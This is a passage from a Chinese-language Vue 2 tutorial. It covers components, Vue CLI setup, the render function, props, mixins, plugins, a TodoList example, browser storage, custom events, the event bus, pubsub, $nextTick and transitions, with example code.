</template> <script> //引入组件 import School from './School.vue' import Student from './Student.vue' export default { name: 'App', components: { School, Student } } </script>main.js在这个文件里面创建 vue 实例import App from './App.vue' new Vue({ el:'#root', template:`<App></App>`, components:{App}, })index.html在这写 vue 要绑定的容器<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>练习一下单文件组件的语法</title> </head> <body> <!-- 准备一个容器 --> <div id="root"></div> <script type="text/javascript" src="../js/vue.js"></script> <script type="text/javascript" src="./main.js"></script> </body> </html>4、Vue脚手架、自定义事件、插槽等复杂内容4.1、脚手架官网:https://cli.vuejs.org/zh/使用前置:第一步(没有安装过的执行):全局安装 @vue/clinpm install -g @vue/cliORyarn global add @vue/cli第二步:切换到要创建项目的目录,然后使用命令创建项目vue create my-projectORvue ui第三步:启动项目npm run serve备注:如果下载缓慢,请配置npm淘宝镜像npm config set registry https://registry.npm.taobao.org验证是否配置成功:npm config get registry4.2、脚手架文件结构├── node_modules ├── public │ ├── favicon.ico: 页签图标 │ └── index.html: 主页面 ├── src │ ├── assets: 存放静态资源 │ │ └── logo.png │ │── component: 存放组件 │ │ └── HelloWorld.vue │ │── App.vue: 汇总所有组件 │ │── main.js: 入口文件 ├── .gitignore: git版本管制忽略的配置 ├── babel.config.js: babel的配置文件 ├── package.json: 应用包配置文件 ├── README.md: 应用描述文件 ├── package-lock.json:包版本控制文件4.3、脚手架democomponents:就直接把单文件组件的 School.vue 和 Student.vue 两个文件直接拿来用,不需要修改。App.vue:引入这两个组件,注册一下这两个组件,再使用。<template> <div id="app"> <img src="./assets/logo.png" alt=""> <Student></Student> <School></School> </div> </template> <script> import Student from './components/Student.vue' import School from './components/School.vue' export default { name: 'App', components: { Student, School } } </script> <style> #app { font-family: Avenir, Helvetica, Arial, sans-serif; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; text-align: center; color: #2c3e50; margin-top: 60px; } </style> main.js:入口文件import Vue from 'vue'; import App from './App.vue'; Vue.config.productionTip = false; new Vue({ render: h => h(App), }).$mount('#app'); 接下来就要详细讲解 main.js 中的 render 函数4.4、 render函数插入一个小知识:使用 import 导入第三方库的时候不需要 加 './'导入我们自己写的:import App from './App.vue'导入第三方的import Vue from 'vue'不需要在 from 'vue' 加 './' 的原因是第三方库 node_modules 人家帮我们配置好了。我们通过 import 导入第三方库,在第三方库的 package.json 文件中确定了我们引入的是哪个文件(按command + 鼠标左键点击vue进入vue/package.json文件查找)通过 module 确定了我们要引入的文件。回到 render 函数之前的写法是这样:import App from './App.vue' new Vue({ el:'#root', template:`<App></App>`, components:{App}, })如果这样子写,运行的话会引发如下的报错:报错的意思是,是在使用运行版本的 vue ,没有模板解析器。从上面的小知识可以知道,我们引入的 vue 不是完整版的,是残缺的(为了减小vue的大小)。所以残缺的vue.js 只有通过 render 函数才能把项目给跑起来。来解析一下render// render最原始写的方式 // render是个函数,还能接收到参数a // 这个 createElement 很关键,是个回调函数 new Vue({ render(createElement) { console.log(typeof createElement); // 这个 createElement 回调函数能创建元素 // 因为残缺的vue 不能解析 template,所以render就来帮忙解决这个问题 // createElement 能创建具体的元素 return createElement('h1', 'hello') } }).$mount('#app')因为 render 函数内并没有用到 this,所以可以简写成箭头函数。new Vue({ // render: h => h(App), render: (createElement) => { return createElement(App) } }).$mount('#app')再简写:new Vue({ // render: h => h(App), render: createElement => createElement(App) }).$mount('#app')最后把 createElement 换成 h 就完事了。算啦算啦,把简写都整理一遍吧,js里的简写确实多哇。对象内写方法最原始的:let obj = { name: 'aaa', work: function (salary) { return '工资' + salary; } }ES6 简化版:let obj = { name: 'aaa', work(salary) { return '工资' + salary; } }箭头函数简化版:let obj = { name: 'aaa', work: (salary) => { return '工资' + salary; } }箭头函数再简化(最终版):// 只有一个参数就可以把圆括号去了,函数体内部只有一个 return 就可以把大括号去掉,return去掉 let obj = { name: 'aaa', work: salary => '工资' + salary; }这样就可以理解 render 函数的简写方式了。来个不同版本 vue 的区别vue.js与vue.runtime.xxx.js的区别:vue.js是完整版的Vue,包含:核心功能+模板解析器。vue.runtime.xxx.js是运行版的Vue,只包含:核心功能;没有模板解析器。因为vue.runtime.xxx.js没有模板解析器,所以不能使用template配置项,需要使用render函数接收到的createElement函数去指定具体内容。4.5、修改脚手架的默认配置使用vue inspect > output.js可以查看到Vue脚手架的默认配置。使用vue.config.js可以对脚手架进行个性化定制,详情见:https://cli.vuejs.org/zh脚手架中的index.html<!DOCTYPE html> <html lang=""> <head> <meta charset="utf-8"> <!-- 针对IE浏览器的一个特殊配置,含义是让IE浏览器以最高的渲染级别渲染页面 --> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <!-- 开启移动端的理想视口 --> <meta name="viewport" content="width=device-width,initial-scale=1.0"> <!-- 配置页签图标 --> <link rel="icon" href="<%= BASE_URL %>favicon.ico"> <!-- 引入第三方样式 --> <link rel="stylesheet" href="<%= BASE_URL %>css/bootstrap.css"> <!-- 配置网页标题 --> <title>硅谷系统</title> </head> <body> <!-- 当浏览器不支持js时noscript中的元素就会被渲染 --> <noscript> <strong>We're sorry but <%= htmlWebpackPlugin.options.title %> doesn't work properly without JavaScript enabled. Please enable it to continue.</strong> </noscript> <!-- 容器 --> <div id="app"></div> <!-- built files will be auto injected --> </body> </html>4.6、Vue 零碎的一些知识4.6.1、ref属性被用来给元素或子组件注册引用信息(id的替代者)应用在html标签上获取的是真实DOM元素,应用在组件标签上是组件实例对象(vc)使用方式:打标识:<h1 ref="xxx">.....</h1>或 <School ref="xxx"></School>获取:this.$refs.xxx具体案例<template> <div id="app"> <img src="./assets/logo.png" alt=""> <Student></Student> <School></School> <h1 v-text="msg" ref="title"></h1> <button ref="btn" @click="showDOM">点击获取上方DOM</button> <read ref="red" /> </div> </template> <script> import Student from './components/Student.vue' import School from './components/School.vue' import read from './components/readbook.vue' export default { name: 'App', components: { Student, School, read }, data() { return { msg: 'hello,word!' } }, methods: { showDOM() { console.log(this.$refs.title) //真实DOM元素 console.log(this.$refs.btn) //真实DOM元素 console.log(this.$refs.red) //School组件的实例对象(vc) } } } </script> <style> #app { font-family: Avenir, Helvetica, Arial, sans-serif; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; text-align: center; color: #2c3e50; margin-top: 60px; } </style> 4.6.2、props配置项功能:让组件接收外部传过来的数据传递数据:<Demo name="xxx"/>接收数据:第一种方式(只接收):props:['name']第二种方式(限制类型):props:{name:String}第三种方式(限制类型、限制必要性、指定默认值):props:{ name:{ type:String, //类型 required:true, //必要性 default:'老王' //默认值 } }备注:props是只读的,Vue底层会监测你对props的修改,如果进行了修改,就会发出警告,若业务需求确实需要修改,那么请复制props的内容到data中一份,然后去修改data中的数据。示例代码:父组件给子组件传数据App.vue<template> <div id="app"> <img alt="Vue logo" src="./assets/logo.png"> <Student></Student> <School name="yykk" :age="this.age"></School> </div> </template> <script> import School from './components/School.vue' import Student from './components/Student.vue' export default { name: 'App', data () { return { age: 36 } }, components: { School, Student } } </script> <style> #app { font-family: Avenir, Helvetica, Arial, sans-serif; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; text-align: center; color: #2c3e50; margin-top: 60px; } </style>School.vue<template> <div class="demo"> <h2>学校名称:{{ name }}</h2> <h2>学校年龄:{{ age }}</h2> <h2>学校地址:{{ address }}</h2> <button @click="showName">点我提示学校名</button> </div> </template> <script> export default { name: "School", // 最简单的写法:props: ['name', 'age'] props: { name: { type: String, required: true // 必须要传的 }, age: { type: Number, default: 18 } }, data() { return { address: "北京", }; }, methods: { showName() { alert(this.name); }, }, }; </script> <style> .demo { background-color: orange; } </style>4.6.3、mixin(混入)混入 (mixin) 提供了一种非常灵活的方式,来分发 Vue 组件中的可复用功能。一个混入对象可以包含任意组件选项。当组件使用混入对象时,所有混入对象的选项将被“混合”进入该组件本身的选项。例子:// 定义一个混入对象 var myMixin = { created: function () { this.hello() }, methods: { hello: function () { console.log('hello from mixin!') } } } // 定义一个使用混入对象的组件 var Component = Vue.extend({ mixins: [myMixin] })选项合并当组件和混入对象含有同名选项时,这些选项将以恰当的方式进行“合并”。比如,数据对象在内部会进行递归合并,并在发生冲突时以组件数据优先。var mixin = { data: function () { return { message: 'hello', foo: 'abc' } } } new Vue({ mixins: [mixin], data: function () { return { message: 'goodbye', bar: 'def' } }, created: function () { console.log(this.$data) // => { message: "goodbye", foo: "abc", bar: "def" } } })同名钩子函数将合并为一个数组,因此都将被调用。另外,混入对象的钩子将在组件自身钩子之前调用。var mixin = { created: function () { console.log('混入对象的钩子被调用') } } new Vue({ mixins: [mixin], created: function () { console.log('组件钩子被调用') } }) // => "混入对象的钩子被调用" // => "组件钩子被调用"值为对象的选项,例如 methods、components 和 directives,将被合并为同一个对象。两个对象键名冲突时,取组件对象的键值对。var mixin = { methods: { foo: function () { console.log('foo') }, conflicting: function () { console.log('from mixin') } } } var vm = new Vue({ mixins: [mixin], methods: { bar: function () { console.log('bar') }, conflicting: function () { console.log('from self') } } }) vm.foo() // => "foo" vm.bar() // => "bar" vm.conflicting() // => "from self"全局混入不建议使用4.6.4、插件插件通常用来为 Vue 添加全局功能。插件的功能范围没有严格的限制。通过全局方法 Vue.use() 使用插件。它需要在你调用 new Vue() 启动应用之前完成:// 调用 `MyPlugin.install(Vue)` Vue.use(MyPlugin) new Vue({ // ...组件选项 })本质:包含install方法的一个对象,install的第一个参数是Vue,第二个以后的参数是插件使用者传递的数据。定义插件:对象.install = function (Vue, options) { // 1. 添加全局过滤器 Vue.filter(....) // 2. 添加全局指令 Vue.directive(....) // 3. 配置全局混入(合) Vue.mixin(....) // 4. 添加实例方法 Vue.prototype.$myMethod = function () {...} Vue.prototype.$myProperty = xxxx }具体案例:plugin.jsexport default { install(Vue, x, y, z) { console.log(x, y, z) //全局过滤器 Vue.filter('mySlice', function (value) { return value.slice(0, 4) }) //定义全局指令 Vue.directive('fbind', { //指令与元素成功绑定时(一上来) bind(element, binding) { element.value = binding.value }, //指令所在元素被插入页面时 inserted(element, binding) { element.focus() }, //指令所在的模板被重新解析时 update(element, binding) { element.value = binding.value } }) //定义混入 Vue.mixin({ data() { return { x: 100, y: 200 } }, }) //给Vue原型上添加一个方法(vm和vc就都能用了) Vue.prototype.hello = () => { alert('你好啊aaaa') } } }main.js// 引入插件 import plugin from './plugin' // 使用插件 Vue.use(plugin)然后就可以在别的组件使用插件里的功能了。4.6.5、scoped样式作用:让样式在局部生效,防止冲突。写法:<style scoped>具体案例:<style lang="less" scoped> .demo{ background-color: pink; .pug-admin { font-size: 40px; } } </style>4.6.6、TodoList案例这里扩展一个uuid库:https://github.com/ai/nanoid / https://www.npmjs.com/package/nanoidsrc/App.vue<template> <div id="root"> <div class="todo-container"> <div class="todo-wrap"> <Header :addTodo="addTodo" /> <List :todos="todos" :checkTodo="checkTodo" :deleteTodo="deleteTodo" /> <Footer :todos="todos" :checkAllTodo="checkAllTodo" :clearAllTodo="clearAllTodo" /> </div> </div> </div> </template> <script> import Header from './components/Header' import List from './components/List' import Footer from './components/Footer.vue' export default { name: 'App', components: { Header, List, Footer }, data() { return { // 由于todos是Header组件和Footer组件都在使用,所以放在App中(状态提升) /*todos: [ { id: '001', title: '听歌', done: true }, { id: '002', title: 'code', done: false }, { id: '003', title: '学习', done: true } ]*/ todos: JSON.parse(localStorage.getItem('todos')) || [] } }, methods: { //添加一个todo addTodo(todoObj) { this.todos.unshift(todoObj) }, //勾选or取消勾选一个todo checkTodo(id) { this.todos.forEach((todo) => { if (todo.id === id) todo.done = !todo.done }) }, //删除一个todo deleteTodo(id) { this.todos = this.todos.filter((todo) => todo.id !== id) }, //全选or取消全选 checkAllTodo(done) { this.todos.forEach((todo) => { todo.done = done }) }, //清除所有已经完成的todo clearAllTodo() { this.todos = this.todos.filter((todo) => { return !todo.done }) } }, watch: { todos: { deep: true, handler(value) { localStorage.setItem('todos', JSON.stringify(value)) } } } } </script> <style> /*base*/ body { background: #fff; } .btn { display: inline-block; padding: 4px 12px; margin-bottom: 0; font-size: 14px; line-height: 20px; text-align: center; vertical-align: middle; cursor: pointer; box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); border-radius: 4px; } .btn-danger { color: #fff; background-color: #da4f49; border: 1px solid #bd362f; } .btn-danger:hover { color: #fff; background-color: #bd362f; } .btn:focus { outline: none; } .todo-container { width: 600px; margin: 0 auto; } .todo-container .todo-wrap { padding: 10px; border: 1px solid #ddd; border-radius: 5px; } </style> src/components/Header.vue<template> <div class="todo-header"> <input type="text" placeholder="请输入你的任务名称,按回车键确认" v-model="title" @keyup.enter="add" /> </div> </template> <script> import { nanoid } from 'nanoid' export default { name: 'Header', props: ['addTodo'], // 接收从App传递过来的addTodo data() { return { title: '' // 收集用户输入的title } }, methods: { add() { // 校验数据 if (!this.title.trim()) return alert('输入不能为空') // 将用户的输入包装成一个todo对象 const todoObj = { id: nanoid(), title: this.title, done: false } // 通知App组件去添加一个todo对象 this.addTodo(todoObj) // 清空输入 this.title = '' } } } </script> <style scoped> /*header*/ .todo-header input { width: 560px; height: 28px; font-size: 14px; border: 1px solid #ccc; border-radius: 4px; padding: 4px 7px; } .todo-header input:focus { outline: none; border-color: rgba(82, 168, 236, 0.8); box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6); } </style>src/components/List.vue<template> <ul class="todo-main"> <Item v-for="todoObj in todos" :key="todoObj.id" :todo="todoObj" :checkTodo="checkTodo" :deleteTodo="deleteTodo" /> </ul> </template> <script> import Item from './Item.vue' export default { name: 'List', components: { Item }, // 声明接收App传递的数据,其中todos是自己用的,checkTodo和deleteTodo是给子组件Item用的 props: ['todos', 'checkTodo', 'deleteTodo'] } </script> <style scoped> /*main*/ .todo-main { margin-left: 0px; border: 1px solid #ddd; border-radius: 2px; padding: 0px; } .todo-empty { height: 40px; line-height: 40px; border: 1px solid #ddd; border-radius: 2px; padding-left: 5px; margin-top: 10px; } </style>src/components/Item.vue<template> <li> <label> <!-- 如下代码也能实现功能,但是不太推荐,因为有点违反原则,因为修改了props --> <!-- <input type="checkbox" v-model="todo.done"/> --> <input type="checkbox" :checked="todo.done" @change="handleCheck(todo.id)" /> <span>{{ todo.title }}</span> </label> <button class="btn btn-danger" @click="handleDelete(todo.id)">删除</button> </li> </template> <script> export default { name: 'Item', //声明接收todo、checkTodo、deleteTodo props: ['todo', 'checkTodo', 'deleteTodo'], methods: { // 勾选or取消勾选 handleCheck(id) { this.checkTodo(id) // 通知App组件将对应的todo对象的done值取反 }, // 删除 handleDelete(id) { if (confirm('确定删除吗?')) { this.deleteTodo(id) // 通知App组件将对应的todo对象删除 } } } } </script> <style scoped> /*item*/ li { list-style: none; height: 36px; line-height: 36px; padding: 0 5px; border-bottom: 1px solid #ddd; } li label { float: left; cursor: pointer; } li label li input { vertical-align: middle; margin-right: 6px; position: relative; top: -1px; } li button { float: right; display: none; margin-top: 3px; } li:before { content: initial; } li:last-child { border-bottom: none; } li:hover { background-color: #ddd; } li:hover button { display: block; } </style>src/components/Item.vue<template> <div class="todo-footer" v-show="total"> <label> <!-- <input type="checkbox" :checked="isAll" @change="checkAll"/> --> <input type="checkbox" v-model="isAll" /> </label> <span> <span>已完成{{ doneTotal }}</span> / 全部{{ total }} </span> <button class="btn btn-danger" @click="clearAll">清除已完成任务</button> </div> </template> <script> export default { name: 'Footer', props: ['todos', 'checkAllTodo', 'clearAllTodo'], computed: { // 总数 total() { return this.todos.length }, // 已完成数 doneTotal() { //此处使用reduce方法做条件统计 return this.todos.reduce( (pre, todo) => pre + (todo.done ? 1 : 0), 0 ) }, // 控制全选框 isAll: { //全选框是否勾选 get() { return this.doneTotal === this.total && this.total > 0 }, //isAll被修改时set被调用 set(value) { this.checkAllTodo(value) } } }, methods: { /* checkAll(e){ this.checkAllTodo(e.target.checked) } */ //清空所有已完成 clearAll() { this.clearAllTodo() } } } </script> <style scoped> /*footer*/ .todo-footer { height: 40px; line-height: 40px; padding-left: 6px; margin-top: 5px; } .todo-footer label { display: inline-block; margin-right: 20px; cursor: pointer; } .todo-footer label input { position: relative; top: -1px; vertical-align: middle; margin-right: 5px; } .todo-footer button { float: right; margin-top: 5px; } </style>总结组件化编码流程:(1).拆分静态组件:组件要按照功能点拆分,命名不要与html元素冲突。(2).实现动态组件:考虑好数据的存放位置,数据是一个组件在用,还是一些组件在用:1).一个组件在用:放在组件自身即可。2). 一些组件在用:放在他们共同的父组件上(状态提升)。(3).实现交互:从绑定事件开始。props适用于:(1).父组件 ==> 子组件 通信(2).子组件 ==> 父组件 通信(要求父先给子一个函数)使用v-model时要切记:v-model绑定的值不能是props传过来的值,因为props是不可以修改的!props传过来的若是对象类型的值,修改对象中的属性时Vue不会报错,但不推荐这样做。4.7、WebStorage浏览器本地缓存CookieCookie是最早被提出来的本地存储方式,在此之前,服务端是无法判断网络中的两个请求是否是同一用户发起的,为解决这个问题,Cookie就出现了。Cookie 是存储在用户浏览器中的一段不超过 4 KB 的字符串。它由一个名称(Name)、一个值(Value)和其它几个用 于控制 Cookie 有效期、安全性、使用范围的可选属性组成。不同域名下的 Cookie 各自独立,每当客户端发起请求时,会自动把当前域名下所有未过期的 Cookie 一同发送到服务器。Cookie的特性:Cookie一旦创建成功,名称就无法修改Cookie是无法跨域名的,也就是说a域名和b域名下的cookie是无法共享的,这也是由Cookie的隐私安全性决定的,这样就能够阻止非法获取其他网站的Cookie每个域名下Cookie的数量不能超过20个,每个Cookie的大小不能超过4kb有安全问题,如果Cookie被拦截了,那就可获得session的所有信息,即使加密也于事无补,无需知道cookie的意义,只要转发cookie就能达到目的Cookie在请求一个新的页面的时候都会被发送过去Cookie 在身份认证中的作用客户端第一次请求服务器的时候,服务器通过响应头的形式,向客户端发送一个身份认证的 Cookie,客户端会自动 将 Cookie 保存在浏览器中。随后,当客户端浏览器每次请求服务器的时候,浏览器会自动将身份认证相关的 Cookie,通过请求头的形式发送给 服务器,服务器即可验明客户端的身份。Cookie 不具有安全性由于 Cookie 是存储在浏览器中的,而且浏览器也提供了读写 Cookie 的 API,因此 Cookie 很容易被伪造,不具有安全 性。因此不建议服务器将重要的隐私数据,通过 Cookie 的形式发送给浏览器。注意:千万不要使用 Cookie 存储重要且隐私的数据!比如用户的身份信息、密码等。SessionSession是另一种记录客户状态的机制,不同的是Cookie保存在客户端浏览器中,而Session保存在服务器上。客户端浏览器访问服务器的时候,服务器把客户端信息以某种形式记录在服务器上。这就是Session。客户端浏览器再次访问时只需要从该Session中查找该客户的状态就可以了session是一种特殊的cookie。cookie是保存在客户端的,而session是保存在服务端。为什么要用session 由于cookie 是存在用户端,而且它本身存储的尺寸大小也有限,最关键是用户可以是可见的,并可以随意的修改,很不安全。那如何又要安全,又可以方便的全局读取信息呢?于是,这个时候,一种新的存储会话机制:session 诞生了session原理 当客户端第一次请求服务器的时候,服务器生成一份session保存在服务端,将该数据(session)的id以cookie的形式传递给客户端;以后的每次请求,浏览器都会自动的携带cookie来访问服务器(session数据id)。图示:session我觉得可以简单理解为一个表,根据cookie传来的值查询表中的内容session 标准工作流程LocalStorageLocalStorage是HTML5新引入的特性,由于有的时候我们存储的信息较大,Cookie就不能满足我们的需求,这时候LocalStorage就派上用场了。LocalStorage的优点:在大小方面,LocalStorage的大小一般为5MB,可以储存更多的信息LocalStorage是持久储存,并不会随着页面的关闭而消失,除非主动清理,不然会永久存在仅储存在本地,不像Cookie那样每次HTTP请求都会被携带LocalStorage的缺点:存在浏览器兼容问题,IE8以下版本的浏览器不支持如果浏览器设置为隐私模式,那我们将无法读取到LocalStorageLocalStorage受到同源策略的限制,即端口、协议、主机地址有任何一个不相同,都不会访问LocalStorage的常用API:// 保存数据到 localStorage localStorage.setItem('key', 'value'); // 从 localStorage 获取数据 let data = localStorage.getItem('key'); // 从 localStorage 删除保存的数据 localStorage.removeItem('key'); // 从 localStorage 删除所有保存的数据 localStorage.clear(); // 获取某个索引的Key localStorage.key(index)LocalStorage的使用场景:有些网站有换肤的功能,这时候就可以将换肤的信息存储在本地的LocalStorage中,当需要换肤的时候,直接操作LocalStorage即可在网站中的用户浏览信息也会存储在LocalStorage中,还有网站的一些不常变动的个人信息等也可以存储在本地的LocalStorage中SessionStorageSessionStorage和LocalStorage都是在HTML5才提出来的存储方案,SessionStorage 主要用于临时保存同一窗口(或标签页)的数据,刷新页面时不会删除,关闭窗口或标签页之后将会删除这些数据。SessionStorage与LocalStorage对比:SessionStorage和LocalStorage都在本地进行数据存储;SessionStorage也有同源策略的限制,但是SessionStorage有一条更加严格的限制,SessionStorage只有在同一浏览器的同一窗口下才能够共享;LocalStorage和SessionStorage都不能被爬虫爬取;SessionStorage的常用API:// 保存数据到 sessionStorage sessionStorage.setItem('key', 'value'); // 从 sessionStorage 获取数据 let data = sessionStorage.getItem('key'); // 从 sessionStorage 删除保存的数据 sessionStorage.removeItem('key'); // 从 sessionStorage 删除所有保存的数据 sessionStorage.clear(); // 获取某个索引的Key sessionStorage.key(index)SessionStorage的使用场景由于SessionStorage具有时效性,所以可以用来存储一些网站的游客登录的信息,还有临时的浏览记录的信息。当关闭网站之后,这些信息也就随之消除了。具体案例:localStorage<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>localStorage</title> </head> <body> <h2>localStorage</h2> <button onclick="saveData()">点我保存一个数据</button> <button onclick="readData()">点我读取一个数据</button> <button onclick="deleteData()">点我删除一个数据</button> <button onclick="deleteAllData()">点我清空一个数据</button> <script type="text/javascript" > let p = {name:'张三',age:18} function saveData(){ localStorage.setItem('msg','hello!!!') localStorage.setItem('msg2',666) // 转成 JSON 对象存进去 localStorage.setItem('person',JSON.stringify(p)) } function readData(){ console.log(localStorage.getItem('msg')) console.log(localStorage.getItem('msg2')) const result = localStorage.getItem('person') console.log(JSON.parse(result)) // console.log(localStorage.getItem('msg3')) } function deleteData(){ localStorage.removeItem('msg2') } function deleteAllData(){ localStorage.clear() } </script> </body> </html>sessionStorage<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>sessionStorage</title> </head> <body> <h2>sessionStorage</h2> <button onclick="saveData()">点我保存一个数据</button> <button onclick="readData()">点我读取一个数据</button> <button onclick="deleteData()">点我删除一个数据</button> <button onclick="deleteAllData()">点我清空一个数据</button> <script type="text/javascript" > let p = {name:'张三',age:18} function saveData(){ sessionStorage.setItem('msg','hello!!!') sessionStorage.setItem('msg2',666) // 转换成JSON 字符串存进去 sessionStorage.setItem('person',JSON.stringify(p)) } function readData(){ console.log(sessionStorage.getItem('msg')) console.log(sessionStorage.getItem('msg2')) const result = sessionStorage.getItem('person') console.log(JSON.parse(result)) // console.log(sessionStorage.getItem('msg3')) } function deleteData(){ sessionStorage.removeItem('msg2') } function deleteAllData(){ sessionStorage.clear() } </script> </body> </html>4.8、组件自定义事件组件自定义事件是一种组件间通信的方式,适用于:子组件 ===> 父组件使用场景A是父组件,B是子组件,B想给A传数据,那么就要在A中给B绑定自定义事件(事件的回调在A中)。绑定自定义事件:第一种方式,在父组件中:<Demo @yykk="test"/>或 <Demo v-on:yykk="test"/>具体代码App.vue<template> <div class="app"> <!-- 通过父组件给子组件绑定一个自定义事件实现:子给父传递数据(第一种写法,使用@或v-on) --> <Student @yykk="getStudentName"/> </div> </template> <script> import Student from './components/Student' export default { name:'App', components:{Student}, data() { return { msg:'你好啊!', studentName:'' } }, methods: { getStudentName(name,...params){ console.log('App收到了学生名:',name,params) this.studentName = name } } } </script> <style scoped> .app{ background-color: gray; padding: 5px; } </style>Student.vue<template> <div class="student"> <button @click="sendStudentlName">把学生名给App</button> </div> </template> <script> export default { name:'Student', data() { return { name:'张三', } }, methods: { sendStudentlName(){ //触发Student组件实例身上的yykk事件 this.$emit('yykk',this.name,666,888,900) } }, } </script> <style lang="less" scoped> .student{ background-color: pink; padding: 5px; margin-top: 30px; } </style>第二种方式,在父组件中:使用 this.$refs.xxx.$on() 这样写起来更灵活,比如可以加定时器啥的。具体代码App.vue<template> <div class="app"> <!-- 通过父组件给子组件绑定一个自定义事件实现:子给父传递数据(第二种写法,使用ref) --> <Student ref="student"/> </div> </template> <script> import Student from './components/Student' export default { name:'App', components:{Student}, data() { return { studentName:'' } }, methods: { getStudentName(name,...params){ console.log('App收到了学生名:',name,params) this.studentName = name }, }, mounted() { this.$refs.student.$on('yykk',this.getStudentName) //绑定自定义事件 // this.$refs.student.$once('yykk',this.getStudentName) //绑定自定义事件(一次性) }, } </script> <style scoped> .app{ background-color: gray; padding: 5px; } </style>Student.vue<template> <div class="student"> <button @click="sendStudentlName">把学生名给App</button> </div> </template> <script> export default { name:'Student', data() { return { name:'张三', } }, methods: { sendStudentlName(){ //触发Student组件实例身上的atguigu事件 this.$emit('yykk',this.name,666,888,900) } }, } </script> <style lang="less" scoped> .student{ background-color: pink; padding: 5px; margin-top: 30px; } </style>若想让自定义事件只能触发一次,可以使用once修饰符,或$once方法。触发自定义事件:this.$emit('yykk',数据)使用 this.$emit() 就可以子组件向父组件传数据解绑自定义事件this.$off('yykk')代码this.$off('yykk') //解绑一个自定义事件 // this.$off(['yykk','demo']) //解绑多个自定义事件 // this.$off() //解绑所有的自定义事件组件上也可以绑定原生DOM事件,需要使用native修饰符。代码<!-- 通过父组件给子组件绑定一个自定义事件实现:子给父传递数据(第二种写法,使用ref) --> <Student ref="student" @click.native="show"/>注意:通过this.$refs.xxx.$on('yykk',回调)绑定自定义事件时,回调要么配置在methods中,要么用箭头函数,否则this指向会出问题!4.9、全局事件总线一种组件间通信的方式,适用于任意组件间通信。安装全局事件总线:new Vue({ ...... beforeCreate() { Vue.prototype.$bus = this //安装全局事件总线,$bus就是当前应用的vm }, ...... }) 使用事件总线:接收数据:A组件想接收数据,则在A组件中给$bus绑定自定义事件,事件的回调留在A组件自身。methods(){ demo(data){......} } ...... mounted() { this.$bus.$on('xxxx',this.demo) }提供数据:this.$bus.$emit('xxxx',数据)最好在beforeDestroy钩子中,用$off去解绑当前组件所用到的事件。示例代码School.vue<template> <div class="school"> <h2>学习应用:{{name}}</h2> <h2>学校地址:{{address}}</h2> </div> </template> <script> export default { name:'School', data() { return { name:'前台', address:'北京', } }, methods: { demo(data) { console.log('我是School组件,收到了数据',data) } } mounted() { // console.log('School',this) this.$bus.$on('hello',this.demo) }, beforeDestroy() { this.$bus.$off('hello') }, } </script> <style scoped> .school{ background-color: skyblue; padding: 5px; } </style>Student.vue<template> <div class="student"> <h2>学生姓名:{{name}}</h2> <h2>学生性别:{{sex}}</h2> <button @click="sendStudentName">把学生名给School组件</button> </div> </template> <script> export default { name:'Student', data() { return { name:'张三', sex:'男', } }, mounted() { // console.log('Student',this.x) }, methods: { sendStudentName(){ this.$bus.$emit('hello',this.name) } }, } </script> <style lang="less" scoped> .student{ background-color: pink; padding: 5px; margin-top: 30px; } </style>4.10、消息订阅与发布一种组件间通信的方式,适用于任意组件间通信。使用步骤:安装pubsub:npm i pubsub-js引入: import pubsub from 'pubsub-js'接收数据:A组件想接收数据,则在A组件中订阅消息,订阅的回调留在A组件自身。methods:{ demo(data){......} } ...... mounted() { this.pid = pubsub.subscribe('xxx',this.demo) //订阅消息 }提供数据:pubsub.publish('xxx',数据)最好在beforeDestroy钩子中,用PubSub.unsubscribe(pid)去取消订阅。示例代码订阅消息School.vue<template> <div class="school"> <h2>学校名称:{{name}}</h2> <h2>学校地址:{{address}}</h2> </div> </template> <script> import pubsub from 'pubsub-js' export default { name:'School', data() { return { name:'yykk', address:'北京', } }, mounted() { // console.log('School',this) /* this.$bus.$on('hello',(data)=>{ console.log('我是School组件,收到了数据',data) }) */ this.pubId = pubsub.subscribe('hello',(msgName,data)=>{ console.log(this) // console.log('有人发布了hello消息,hello消息的回调执行了',msgName,data) }) }, beforeDestroy() { // this.$bus.$off('hello') pubsub.unsubscribe(this.pubId) }, } </script> <style scoped> .school{ background-color: skyblue; padding: 5px; } </style>发布消息Student.vue<template> <div class="student"> <h2>学生姓名:{{name}}</h2> <h2>学生性别:{{sex}}</h2> <button @click="sendStudentName">把学生名给School组件</button> </div> </template> <script> import pubsub from 'pubsub-js' export default { name:'Student', data() { return { name:'张三', sex:'男', } }, mounted() { // console.log('Student',this.x) }, methods: { sendStudentName(){ // this.$bus.$emit('hello',this.name) pubsub.publish('hello',666) } }, } </script> <style lang="less" scoped> .student{ background-color: pink; padding: 5px; margin-top: 30px; } </style>4.11、$nextTick语法:this.$nextTick(回调函数)作用:在下一次 DOM 更新结束后执行其指定的回调。什么时候用:当改变数据后,要基于更新后的新DOM进行某些操作时,要在nextTick所指定的回调函数中执行。具体使用this.$nextTick(function(){ this.$refs.inputTitle.focus() }4.12、Vue封装的过渡与动画作用:在插入、更新或移除 DOM元素时,在合适的时候给元素添加样式类名。图示:写法:准备好样式:元素进入的样式:v-enter:进入的起点v-enter-active:进入过程中v-enter-to:进入的终点元素离开的样式:v-leave:离开的起点v-leave-active:离开过程中v-leave-to:离开的终点使用<transition>包裹要过渡的元素,并配置name属性:<transition name="hello"> <h1 v-show="isShow">你好啊!</h1> </transition>备注:若有多个元素需要过度,则需要使用:<transition-group>,且每个元素都要指定key值。具体案例(单个元素过渡)<template> <div> <button @click="isShow = !isShow">显示/隐藏</button> <transition appear> <h1 v-show="isShow">你好啊!</h1> </transition> </div> </template> <script> export default { name:'Test', data() { return { isShow:true } }, } </script> <style scoped> h1{ background-color: orange; } .v-enter-active{ animation: move 0.5s linear; } .v-leave-active{ animation: move 0.5s linear reverse; } @keyframes move { from{ transform: translateX(-100%); } to{ transform: translateX(0px); } } </style>name 的作用可以让让不同的元素有不同的动画效果<template> <div> <button @click="isShow = !isShow">显示/隐藏</button> <transition name="hello" appear> <h1 